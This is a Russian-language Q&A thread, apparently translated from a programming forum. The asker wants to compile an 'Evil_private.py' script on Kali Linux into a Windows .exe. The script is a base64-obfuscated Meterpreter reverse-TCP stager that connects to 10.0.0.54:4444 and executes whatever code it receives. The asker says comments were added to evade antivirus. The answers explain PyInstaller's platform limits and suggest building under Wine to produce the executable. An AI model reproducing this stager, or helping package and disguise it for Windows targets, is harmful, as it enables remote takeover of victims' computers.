Компиляция Python в.EXE вместо.ELF в Linux
Я собираю код Python на Kali Linux. Я хочу создать файл.exe для запуска в Windows. Это следующие настройки для PyInstaller:
pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe
и код - просто метр с некоторыми комментариями, чтобы избежать обнаружения антивируса. Следующий код:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))
Когда я его компилирую, я получаю файл.ELF вместо.EXE. Может я ошибся в каталоге? Я не думаю, что это так, поскольку я проверил большинство каталогов, связанных с PyInstaller. Я прочитал руководство по PyInstaller, но, похоже, оно бесполезно. Есть ли решение для компиляции кода Python в Linux, чтобы получить файл.exe для Windows?
2 ответа
Из документации:
Вывод PyInstaller зависит от активной операционной системы и активной версии Python. Это означает, что для подготовки рассылки:
- другая ОС
- другая версия Python
- 32-битная или 64-битная ОС
вы запускаете PyInstaller на этой ОС, под этой версией Python. Интерпретатор Python, выполняющий PyInstaller, является частью пакета и зависит от ОС и размера слова.
Вы не можете сгенерировать.exe под Kali, на котором работает Python.
Игнасио ответ правильный. Linux-версия pyinstaller не будет собирать Windows PE.
[Запутанный] обходной путь - установить wine, затем установить python на wine (и pyinstaller на wine).
Затем запустите винный pyinstaller, чтобы построить exe.